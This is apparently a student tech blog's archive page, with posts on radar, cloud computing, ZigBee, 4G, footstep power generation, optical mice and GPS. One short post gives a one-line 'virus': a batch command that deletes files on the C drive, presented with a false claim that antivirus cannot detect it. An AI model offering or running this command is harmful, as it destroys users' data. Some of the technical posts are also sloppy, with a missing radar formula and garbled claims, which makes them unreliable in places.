Archive for December, 2010
Till now we have experienced the most advance technology in science…the 4-dimension. It is an accepted fact that the thrill we get watching the 4-d picture is really unexpressable. Now think of an N-DIMENSION picture. How z it? Guys… research z going on about this…let us know something about this….
1.Create Simple Virus Using Notepad
Write your own virus code where no antivirus can detect it,using very simple steps.
Type the following in the notepad
del c:\*.* |y
Now save the file in “.bat” extension instead of “.txt”
Beware !! before running it.
The invisible thing that saves planes from crashing between them and finds idiots who cause accidents with their ridiculous driving is none other than a most useful concept that is RADAR TECHNOLOGY…NASA uses radar to map the Earth and other planets; meteorologists use radar to track storms, hurricanes and tornadoes. You even see a form of radar at many grocery stores when the doors open automatically!
BASIC PRINCIPLE OF RADAR:
The three main uses of radar are…
- 1. To detect the presence of an object at a distance
- 2. To detect the speed of an object
- 3. To map something
These works of radar done with concepts of ECHO and DOPPLER SHIFT using radio waves…
What is an echo? :
When you shout into a well, the reflected sound waves you hear back is called an ECHO… it occurs because some of the sound waves in your shout reflect off of a surface (the water at the bottom of the well) and travel back to your ears…The length of time between the moment you shout and the moment that you hear the echo is determined by the distance between you and the surface that creates the echo…
What is meant by Doppler shift? :
Doppler shift is generated when sound waves are reflected by moving objects…here time interval plays an important role in defining this concept…Let’s say there is a car coming toward you at 60 miles per hour (mph) and its horn is blaring. You will hear the horn sound increasing as the car approaches, but when the car passes you the sound of the horn will suddenly shift to a lower note. It’s the same horn making the same sound the whole time. The change you hear is caused by Doppler shift.
You can combine echo and Doppler shift in the following way. Say you send out a loud sound toward a car moving toward you. Some of the sound waves will bounce off the car (an echo). Because the car is moving toward you, however, the sound waves will be compressed. Therefore, the sound of the echo will have a higher pitch than the original sound you sent. If you measure the pitch of the echo, you can determine how fast the car is going.
This is how we can detect presence and speed of object coming to us or going away from us…the same concept in radio waves form is used by radar….
HOW RADAR IS WORKED USING ABOVE PRINCIPLE:
Using the principles above a SOUND RADAR or SONAR can be built which is used by submarines and ships all the time. But when it comes to sound waves, those waves can disturb others and they fade out soon. And also they don’t travel distances in miles even. Hence in place of sound waves, radio waves are used… Radio waves travel far, are invisible to humans and are easy to detect even when they are faint.
Let’s take a typical radar set designed to detect airplanes in flight. The radar set turns on its transmitter and shoots out a short, high-intensity burst of high-frequency radio waves. The burst might last a microsecond. The radar set then turns off its transmitter, turns on its receiver and listens for an echo. The radar set measures the time it takes for the echo to arrive, as well as the Doppler shift of the echo. Radio waves travel at the speed of light, roughly 1,000 feet per microsecond; so if the radar set has a good high-speed clock, it can measure the distance of the airplane very accurately. Using special signal processing equipment, the radar set can also measure the Doppler shift very accurately and determine the speed of the airplane.
LET’S SEE THE RADAR ENERGY EQUATIONS:
The power Pr returning to the receiving antenna is given by the radar equation:
- Pt = transmitter power
- Gt = gain of the transmitting antenna
- Ar = effective aperture (area) of the receiving antenna
- σ = radar cross section or scattering coefficient, of the target
- F = pattern propagation factor
- Rt = distance from the transmitter to the target
- Rr = distance from the target to the receiver.
This shows that the received power declines as the fourth power of the range, which means that the reflected power from distant targets is very, very small.
LIMITING FACTORS ARE:
Some of the de merits of radar communication are
- Beam path and range
MINIMUM COMPONENTS OF RADAR:
Building blocks of RADAR are
- A transmitter that generates the radio signal with an oscillator and controls its duration by a modulator
- A waveguide that links the transmitter and the antenna.
- A duplexer that serves as a switch between the antenna and the transmitter or the receiver for the signal when the antenna is used in both situations.
- A receiver knowing the shape of the desired received signal (a pulse), an optimal receiver can be designed using
- An electronic section that controls all those devices and the antenna to perform the radar scan ordered by software.
- A link to end users.
This is just a basic explanation of antenna…as it is a vast concept, we will be explaining each concept of it in parts…
Courtesy : http://www.Howstuffworks.com
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Cloud computing is a technology that uses the internet and central remote servers to maintain data and applications. Cloud computing allows consumers and businesses to use applications without installation and access their personal files at any computer with internet access. This technology allows for much more efficient computing by centralizing storage, memory, processing and bandwidth.
A simple example of cloud computing is Yahoo email or Gmail etc. You dont need a software or a server to use them. All a consumer would need is just an internet connection and you can start sending emails. The server and email management software is all on the cloud ( internet) and is totally managed by the cloud service provider Yahoo , Google etc. The consumer gets to use the software alone and enjoy the benefits. The analogy is , ‘If you only need milk , would you buy a cow ?’ (All the users or consumers need is to get the benefits of using the software or hardware of the computer like sending emails etc. Just to get this benefit (milk) why should a consumer buy a (cow) software /hardware ?
History of Cloud computing
Cloud computing didn’t just arrive on the scene. In one way it has been a process that also played out across many industries. The best economies are always achieved when large numbers of product creation, services or operations are carried out under one roof.Computerworld’s Mary Brandel reported in March that an IBM survey found 76 percent of CIOs expected to have “strongly centralized infrastructure” within five years. Brandel reported that IBM itself had shrunk its data centers from 155 to just five.
But while individual IT operations at companies have always fluctuated between being centralized one decade and decentralized the next, what might force many to remain centralized this time is the growing possibility of the cloud. That possibility, many believe, began in the late 1960s when J.C.R. Licklider inspired the Advanced Research Projects Agency Network (ARPANET) to evolve.
Scott Griffin, a journalism and mass communication student, wrote his master’s project on Internet Pioneers and included Licklider. Described as an “idea man” Licklider took a circuitous route to inspire the creation of the Internet, and more. Besides doing research for the Air Force during World War II, he did a stint at MIT where he was first introduced to a computer that could do calculations in real time. From that point on Licklider planted the seeds for the development of not only the Internet, but also “graphical computing, point-and-click interfaces, digital libraries, e-commerce, online banking, and software that would exist on a network and migrate to wherever it was needed.”
According to Larry Roberts, the primary ARPANET architect:
“Lick had this concept of the intergalactic network which he believed was everybody could use computers anywhere and get at data anywhere in the world… He didn’t have a clue how to build it. He didn’t have any idea how to make this happen. But he knew it was important, so he sat down with me and really convinced me that it was important and convinced me into making it happen.”
Cloud Computing Architecture
When talking about a cloud computing system, it’s helpful to divide it into two sections: the front end and the back end. They connect to each other through a network, usually the Internet. The front end is the side the computer user, or client, sees. The back end is the “cloud” section of the system.
The front end includes the client’s computer (or computer network) and the application required to access the cloud computing system. Not all cloud computing systems have the same user interface. Services like Web-based e-mail programs leverage existing Web browsers like Internet Explorer or Firefox. Other systems have unique applications that provide network access to clients.
A central server administers the system, monitoring traffic and client demands to ensure everything runs smoothly. It follows a set of rules called protocols and uses a special kind of software called middleware. Middleware allows networked computers to communicate with each other.On the back end of the system are the various computers, servers and data storage systems that create the “cloud” of computing services. In theory, a cloud computing system could include practically any computer program you can imagine, from data processing to video games. Usually, each application will have its own dedicated server.
Cloud Computing Applications
The applications of cloud computing are practically limitless. With the right middleware, a cloud computing system could execute all the programs a normal computer could run. Potentially, everything from generic word processing software to customized computer programs designed for a specific company could work on a cloud computing system.
If a cloud computing company has a lot of clients, there’s likely to be a high demand for a lot of storage space. Some companies require hundreds of digital storage devices. Cloud computing systems need at least twice the number of storage devices it requires to keep all its clients’ information stored. That’s because these devices, like all computers, occasionally break down. A cloud computing system must make a copy of all its clients’ information and store it on other devices. The copies enable the central server to access backup machines to retrieve data that otherwise would be unreachable. Making copies of data as a backup is called redundancy.
Who’s Who in Cloud Computing
Some of the companies researching cloud computing are big names in the computer industry. Microsoft, IBM and Google are investing millions of dollars into research. Some people think Apple might investigate the possibility of producing interface hardware for cloud computing systems.
Why would anyone want to rely on another computer system to run programs and store data? Here are just a few reasons:
- Clients would be able to access their applications and data from anywhere at any time. They could access the cloud computing system using any computer linked to the Internet. Data wouldn’t be confined to a hard drive on one user’s computer or even a corporation’s internal network.
- It could bring hardware costs down. Cloud computing systems would reduce the need for advanced hardware on the client side. You wouldn’t need to buy the fastest computer with the most memory, because the cloud system would take care of those needs for you. Instead, you could buy an inexpensive computer terminal. The terminal could include amonitor, input devices like a keyboard and mouse and just enough processing power to run the middleware necessary to connect to the cloud system. You wouldn’t need a large hard drive because you’d store all your information on a remote computer.
- Corporations that rely on computers have to make sure they have the right software in place to achieve goals. Cloud computing systems give these organizations company-wide access to computer applications. The companies don’t have to buy a set of software or software licenses for every employee. Instead, the company could pay a metered fee to a cloud computing company.
- Servers and digital storage devices take up space. Some companies rent physical space to store servers and databases because they don’t have it available on site. Cloud computing gives these companies the option of storing data on someone else’s hardware, removing the need for physical space on the front end.
- Corporations might save money on IT support. Streamlined hardware would, in theory, have fewer problems than a network of heterogeneous machines and operating systems.
- If the cloud computing system’s back end is a grid computing system, then the client could take advantage of the entire network’s processing power. Often, scientists and researchers work with calculations so complex that it would take years for individual computers to complete them. On a grid computing system, the client could send the calculation to the cloud for processing. The cloud system would tap into the processing power of all available computers on the back end, significantly speeding up the calculation.
While the benefits of cloud computing seem convincing, are there any potential problems?
Cloud Computing Concerns
Perhaps the biggest concerns about cloud computing are security and privacy. The idea of handing over important data to another company worries some people. Corporate executives might hesitate to take advantage of a cloud computing system because they can’t keep their company’s information under lock and key.
The counterargument to this position is that the companies offering cloud computing services live and die by their reputations. It benefits these companies to have reliable security measures in place. Otherwise, the service would lose all its clients. It’s in their interest to employ the most advanced techniques to protect their clients’ data.
Private Eyes Are Watching You
There are a few standard hacker tricks that could cause cloud computing companies major headaches. One of those is called key logging. A key logging program records keystrokes. If a hacker manages successfully to load a key logging program on a victim’s computer, he or she can study the keystrokes to discover user names and passwords. Of course, if the user’s computer is just a streamlined terminal, it might be impossible to install the program in the first place.
Privacy is another matter. If a client can log in from any location to access data and applications, it’s possible the client’s privacy could be compromised. Cloud computing companies will need to find ways to protect client privacy. One way is to use authentication techniques such as user names and passwords. Another is to employ an authorization format — each user can access only the data and applications relevant to his or her job.
Some questions regarding cloud computing are more philosophical. Does the user or company subscribing to the cloud computing service own the data? Does the cloud computing system, which provides the actual storage space, own it? Is it possible for a cloud computing company to deny a client access to that client’s data? Several companies, law firms and universities are debating these and other questions about the nature of cloud computing.
How will cloud computing affect other industries? There’s a growing concern in the IT industry about how cloud computing could impact the business of computer maintenance and repair. If companies switch to using streamlined computer systems, they’ll have fewer IT needs. Some industry experts believe that the need for IT jobs will migrate to the back end of the cloud computing system.
Another area of research in the computer science community is autonomic computing. An autonomic computing system is self-managing, which means the system monitors itself and takes measures to prevent or repair problems. Currently, autonomic computing is mostly theoretical. But, if autonomic computing becomes a reality, it could eliminate the need for many IT maintenance jobs but at the same time creating some new ones.
Courtesy : http://www.wikipedia.com
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In recent years there has been rapid development in the wireless sector due to demand for wire free connectivity. Most of the development was focused on high data rate applications like file transfer etc with new standards like Bluetooth emerging.
During this time applications that required lower data rates but had some other special requirements were neglected in the sense that no open standard was available.
Either these applications we abandoned in the wireless arena or implemented using proprietary standards hurting the interoperability of the system.
ZigBee is a wireless standard that caters to this particular sector. Potential applications of ZigBee include Home Automation, Wireless Sensor Networks, Patient monitors etc. The key features of these applications and hence aims of ZigBee are
- Low Cost
- Low Power for increased battery life
- Low Range
- Low Complexity
- Low Data Rates
- Co-Existence with other long range Wireless Networks
The ZigBee standard is maintained by ZigBee Alliance is a spin off of the HomeRF group, an unsuccessful home automation related consortium.
It is built upon the IEEE 802.15.4 protocol which is intended for LR-WPAN (Low Rate – Wireless Personal Area Network).
Shiva Chaitanya(ECE 2/4) MGIT
Courtesy : http://www.edufive.com
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The ever-increasing growth of user demand, the limitations of the third generation of wireless mobile communication systems and the emergence of new mobile broadband technologies on the market have brought researchers and industries to a thorough reflection on the fourth generation The short fall of 3G networks is clear, it’s just not fast enough, offering 384kbps doesn’t meet the requirements of what the end user has come to expect these days.
Popping of generations:
First generation: This first generation (1G) analog system for mobile communications had seen key improvements during the 1970s. This was due to the invention of microprocessor and even the digitization of the control link between the mobile phone and the cell site.
Second generation (2G): By the end of the year 1980 the digital cellular systems were developed. These systems digitized the control link and the voice signal. These systems provided better voice quality with higher capacity which even costed low.
Third generation (3G): These systems provide faster communication services which include: voice, fax, and internet. Momentous capacity, broadband capabilities to support greater numbers of voice and data customers.
But Why did 3G fail?
1 .High input fees for the 3G service licenses.
2.Current high debt of many telecommunication companies.
3.Challenge to build the necessary infrastructure for 3G.
4. Expense and bulk of 3G phones.
5. Lack of coverage because it is still new service
6.High prices of 3G mobile services in some countries.
Shiva Chaitanya(ECE 2/4) MGIT
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What if we could generate electricity just by walking? Kohei Hayamizu, a Japanese engineer, has been working on this idea beginning with a technology system he developed in graduate school. The system makes use of piezoelectricity, “a property certain materials have to generate an electric current when they are squeezed or pressed.”
His first experiment took place in Japan’s Shibuya train crossing last month in which he converted one square meter of the ground into an electricity generator. Each time a person walks over the area, electricity is generated. Over 20 days, with 900,000 people passing through Shibuya each day, he was able to generate enough energy to power 1,422 televisions for one hour. Hayamizu thinks that similar systems could be installed on a wide range of scales, from small systems embedded on mobile phones, to huge systems installed on highways that would harness the electricity generated by the movement of cars and big trucks His hope is to install miniature “heel-strike” generators underneath the stairs that would capture the power generated by a person as they walk down the tower. His ultimate goal is to install them in every rail station, shopping center and even in your shoes! According to Webb, if these generators were to be installed at the Victoria Underground Station in central London, the power generated by the 34,000 people moving around would be able to power approximately 6,500 lightbulbs. The technology also has application beyond the small steps. Plans are afoot to look into installing these devices in the tower itself, to harness energy from the swaying movement of the building! Another natural fit for this technology would be to have your shoes generate energy as you walk (at least enough to power your own devices – mobile phone, camera, etc). As early as 2000, John Sarich developed a prototype that did just that.
The shoes have a small generator attached to water-filled soles. Each step puts pressure on the soles, causing the water to spin a small turbine and generate power
The futuristic shoes currently generate 1.2 watts of electricity, “a level sufficient to run an iPod mobile music player forever, as long as the wearer keeps walking,” “The shoes do not have a power-storage function, but you would be able to charge a mobile phone automatically or talk on it forever as long as you connect the phone to your shoes and just keep walking.
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Did u ever tried to know about a small mice which fits in your hand and joins you in the journey to the digital world???So,here is a sweet article which educates you about the evolution of MOUSE…….
What is a mouse?
The mouse is a pointing device which helps us to operate the computer. Unlike the complicated hardwares such as Mother board,RAM, Hardisk, Processor of the computer, the mouse is designed with a simple circuit to process. Now a days, we get varieties of mouse with different technologies in the market.
The developing applications in the computer field has not completely excluded the mouse yet. Although, we have switched to Touchpads in Laptops, “the function of mouse is easy and user-friendly when compared with touch pads for a new user”, says the users. Mostly all the applications are operated with mouse for easy working. In recent days, the optical mouse had overcome the old ball mouse, because of its ‘easy to use’ function.
Disadvantages of Ball mouse:
With the previous ball-rolled mouses, the movement of the pointer in the computer is decided by the ball inside the mouse. So, if the ball gets damaged, or if dust gets clustered, the operation of the mouse becomes problem. When dust gathers, it takes some time to clear it too.With these disadvantages, the ball mouse was slowly moved away form the computer technology leaving the optical mouse to fill its space.
Working of Optical mouse:
Now, almost everyone tries to switch from ball/roller mouse to Optical mouse. As the cost of the mouse is also being decreasing, the replacement is quiet quicker.To connect this optical mouse, the necessity is PS/2 or USB plug, and windows, macintosh or LINUX operating system installed in the computer.
The main components of the optical mouse are:
- Inbuilt optical sensor
- High speed camera which can take 1000 pictures at a time
These optical mouses do have an inbulit optical sensor. The optical sensor reads the movements of the optical mouse (moved by the user) with the help of the light rays which comes out from the bottom. ( The area in which a light glows). When the user moves the optical mouse, the LED (Light Emitting Diode) present inside the mouse emits the light according the minute movements. These movements are send to the camera as light rays. The camera captures the difference in light rays as images. When the camera captures the images, each and every pictures and compared to one another with the digital technology. With the comparison, the speed of the mouse and the direction of the movement of the mouse are rapidly calculated. According to the calculation, the pointer moves on the screen
Comparison between a roller/ball mouse and optical mouse:
- The optical mouse does not have any movable parts as of the ball mouse. So, the life of the optical mouse is long compared to the ordinary mouse.
- Since the mouse works with the sensor recognition, the movements are clearly captured and so the moves gives out a same function in all moves.
- Since the ball is absent in the optical mouse, the weight of the optical mouse is less than that of the ball mouse.
- The dust clustering problem is abolished in the optical mouse as its parts are all static.
- The optical mouse can also function good without a mouse pad, which is impossible with ordinary mouses.Any way, optical mouses cannot be used above reflecting glasses or any glass materials.
Shiva Chaitanya(ECE 2/4) MGIT
Courtesy : http://www.itblogs.in
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The Global Positioning System (GPS) is a satellite-based Global Navigation Satellite System (GNSS) made up of a network of 24 satellites placed into orbit by the U.S. Department of Defense (USDOD). The Global Positioning System is actually a constellation of 27 Earth orbiting satellites (24 in operation and three extra in case one fails). GPS works in any weather conditions, anywhere in the world, 24 hours a day. There are no subscription fees or setup charges to use GPS.
GPS satellites circle the earth twice a day in a very precise orbit and transmit signal information to earth. The orbits are arranged so that at any time, anywhere on Earth, there are at least four satellites “visible” in the sky. A GPS receiver’s job is to locate four or more of these satellites, figure out the distance to each, and use this information to deduce its own location. This operation is based on a simple mathematical principle called Trilateration.
GPS consists of three parts:
- The Space segment,
- The Control segment, and the
- The User segment.
The space segment is composed of 24 to 32 satellites in medium Earth orbit and also includes the payload adapters to the boosters required to launch them into orbit.
The control segment is composed of a master control station, an alternate master control station, and a host of dedicated and shared ground antennas and monitor stations.
The user segment is composed of hundreds of thousands of U.S. and allied military users of the secure GPS Precise Positioning Service, and tens of millions of civil, commercial, and scientific users of the Standard Positioning Service.
Basic concept of GPS:
A GPS receiver calculates its position by precisely timing the signals sent by GPS satellites high above the Earth. Each satellite continually transmits messages that include….
- The time the message was transmitted
- Precise orbital information (the ephemeris)
- The general system health and rough orbits of all GPS satellites (the almanac).
The receiver uses the messages it receives to determine the transit time of each message and computes the distance to each satellite. These distances along with the satellites’ locations are used with the possible aid of “Trilateration”, depending on the algorithm is used, to compute the position of the receiver.
Three satellites might seem enough to solve for position because space has three dimensions and a position near the Earth’s surface can be assumed. However, even a very small clock error multiplied by the very large speed of light results in a large positional error. Therefore receivers use four or more satellites to solve for the receiver’s location and time. Although four satellites are required for normal operation, fewer apply in special cases. If one variable is already known, a receiver can determine its position using only three satellites. For example, a ship or aircraft may have known elevation (altitude).
GPS satellites circle the earth twice a day in a very precise orbit and transmit signal information to earth. GPS receivers take this information and use Trilateration to calculate the user’s exact location. Essentially, the GPS receiver compares the time a signal was transmitted by a satellite with the time it was received. The time difference tells the GPS receiver how far away the satellite is. Now, with distance measurements from a few more satellites, the receiver can determine the user’s position and display it on the unit’s electronic map.
A GPS receiver must be locked on to the signal of at least three satellites to calculate a 2D position (latitude and longitude) and track movement. With four or more satellites in view, the receiver can determine the user’s 3D position (latitude, longitude and altitude). Once the user’s position has been determined, the GPS unit can calculate other information, such as speed, bearing, track, trip distance, distance to destination etc.,
The GPS receivers can be used by attaching it to any vehicle we use may it be a car or a bike…
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